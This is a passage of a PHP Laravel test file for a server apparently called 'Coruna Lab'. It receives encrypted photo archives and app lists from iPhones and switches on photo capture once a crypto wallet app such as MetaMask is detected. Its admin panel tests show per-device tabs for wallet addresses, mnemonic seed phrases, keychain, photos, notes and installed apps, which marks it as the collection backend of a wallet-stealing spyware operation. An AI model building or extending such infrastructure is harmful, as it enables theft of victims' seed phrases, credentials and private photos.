@rmdir($tmp);
|
|
}
|
|
|
|
#[Test]
|
|
public function check_skips_photos_until_wallet_app_enables_album(): void
|
|
{
|
|
Storage::fake('local');
|
|
$crypto = new CorunaCrypto;
|
|
$tmp = sys_get_temp_dir().'/coruna_photo_auto_'.uniqid();
|
|
mkdir($tmp);
|
|
$jpegPath = $tmp.'/hit.jpg';
|
|
file_put_contents($jpegPath, "\xFF\xD8\xFF\xD9");
|
|
$archivePath = $tmp.'/capture.7z';
|
|
$password = $crypto->archivePassword('0');
|
|
$bin = is_executable('/opt/homebrew/opt/p7zip/bin/7z')
|
|
? '/opt/homebrew/opt/p7zip/bin/7z'
|
|
: '7z';
|
|
$cmd = escapeshellarg($bin).' a -y -p'.escapeshellarg($password)
|
|
.' '.escapeshellarg($archivePath).' '.escapeshellarg($jpegPath).' 2>&1';
|
|
exec($cmd, $out, $code);
|
|
$this->assertSame(0, $code, implode("\n", $out));
|
|
|
|
$upload = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true);
|
|
$this->call(
|
|
'POST',
|
|
'/api/user/check',
|
|
[
|
|
'd' => 'dev-photo-auto',
|
|
'f' => 'dev-photo-auto',
|
|
'batchBase' => '0',
|
|
],
|
|
[],
|
|
['file' => $upload],
|
|
['CONTENT_TYPE' => 'multipart/form-data']
|
|
)->assertOk();
|
|
|
|
$device = Device::query()->where('device_id', 'dev-photo-auto')->first();
|
|
$this->assertNotNull($device);
|
|
$this->assertFalse($device->albumStorageEnabled());
|
|
$this->assertSame(0, Photo::query()->where('device_id', $device->id)->count());
|
|
|
|
$ts = '1722585600999';
|
|
$enc = $crypto->encryptJson([
|
|
'd' => 'dev-photo-auto',
|
|
'al' => [
|
|
['a' => 'MetaMask', 'b' => 'io.metamask', 'v' => '7.12.0'],
|
|
],
|
|
], $ts);
|
|
$this->call('POST', '/api/user/get', [], [], [], [
|
|
'CONTENT_TYPE' => 'text/plain',
|
|
'HTTP_TIMESTAMP' => $ts,
|
|
], $enc['body'])->assertOk();
|
|
|
|
$device->refresh();
|
|
$this->assertTrue($device->albumStorageEnabled());
|
|
|
|
$upload2 = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true);
|
|
$this->call(
|
|
'POST',
|
|
'/api/user/check',
|
|
[
|
|
'd' => 'dev-photo-auto',
|
|
'f' => 'dev-photo-auto',
|
|
'batchBase' => '0',
|
|
],
|
|
[],
|
|
['file' => $upload2],
|
|
['CONTENT_TYPE' => 'multipart/form-data']
|
|
)->assertOk();
|
|
|
|
$this->assertTrue(Photo::query()->where('device_id', $device->id)->exists());
|
|
|
|
@unlink($jpegPath);
|
|
@unlink($archivePath);
|
|
@rmdir($tmp);
|
|
}
|
|
|
|
#[Test]
|
|
public function admin_guest_is_redirected_to_admin_login(): void
|
|
{
|
|
$this->get('/admin')
|
|
->assertRedirect(route('admin.login'));
|
|
|
|
$this->get('/admin/devices')
|
|
->assertRedirect(route('admin.login'));
|
|
}
|
|
|
|
#[Test]
|
|
public function admin_login_and_device_list(): void
|
|
{
|
|
Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
|
Device::query()->create([
|
|
'device_id' => 'dev-x',
|
|
'ios_version' => '16.0',
|
|
'device_model' => 'iPhone14,2',
|
|
'user_agent' => 'TestUA/1.0',
|
|
'ip' => '1.2.3.4',
|
|
]);
|
|
|
|
$this->post('/admin/login', ['username' => 'admin', 'password' => 'admin123'])
|
|
->assertOk()
|
|
->assertJson(['code' => 0, 'data' => route('admin.home')]);
|
|
|
|
$this->get('/admin')
|
|
->assertOk()
|
|
->assertSee('Coruna Lab');
|
|
|
|
$this->get('/admin/devices')
|
|
->assertOk()
|
|
->assertSee('设备 ID')
|
|
->assertSee('安装时间')
|
|
->assertSee('更新时间')
|
|
->assertSee('LAY-device-list')
|
|
->assertDontSee('User-Agent');
|
|
|
|
$this->getJson('/admin/devices/data')
|
|
->assertOk()
|
|
->assertJsonPath('code', 0)
|
|
->assertJsonPath('count', 1)
|
|
->assertJsonPath('data.0.device_id', 'dev-x')
|
|
->assertJsonPath('data.0.device_model', 'iPhone14,2');
|
|
|
|
$this->getJson('/admin/devices/data?device_key=dev-x&model=iPhone14&ios=16&ip=1.2.3')
|
|
->assertOk()
|
|
->assertJsonPath('count', 1)
|
|
->assertJsonPath('data.0.device_id', 'dev-x');
|
|
|
|
$this->getJson('/admin/devices/data?device_key=no-such-device')
|
|
->assertOk()
|
|
->assertJsonPath('count', 0)
|
|
->assertJsonPath('data', []);
|
|
|
|
$device = Device::query()->where('device_id', 'dev-x')->firstOrFail();
|
|
$this->get(route('admin.devices.show', [$device, 'tab' => 'apps']))
|
|
->assertOk()
|
|
->assertSee('钱包地址')
|
|
->assertSee('助记词')
|
|
->assertSee('钥匙串')
|
|
->assertSee('相册')
|
|
->assertSee('已装 APP')
|
|
->assertSee('备忘录')
|
|
->assertSee('日志')
|
|
->assertDontSee('Keystore')
|
|
->assertDontSee('概览')
|
|
->assertDontSee('返回列表');
|
|
|
|
$this->getJson(route('admin.devices.tabData', [$device, 'tab' => 'apps']))
|
|
->assertOk()
|
|
->assertJsonPath('code', 0);
|
|
|
|
WalletKeystore::query()->create([
|
|
'device_id' => $device->id,
|
|
'source' => '',
|
|
'decrypted' => 0,
|
|
'raw_json' => ['kind' => 'sandbox'],
|
|
]);
|
|
$this->getJson(route('admin.devices.tabData', [$device, 'tab' => 'keystores']))
|
|
->assertOk()
|
|
->assertJsonPath('code', 0)
|
|
->assertJsonPath('data.0.source', '未知')
|
|
->assertJsonPath('data.0.decrypted', 0)
|
|
->assertJsonPath('data.0.kind', '沙盒文件')
|
|
->assertJsonPath('data.0.item_count', 0);
|
|
}
|
|
}
|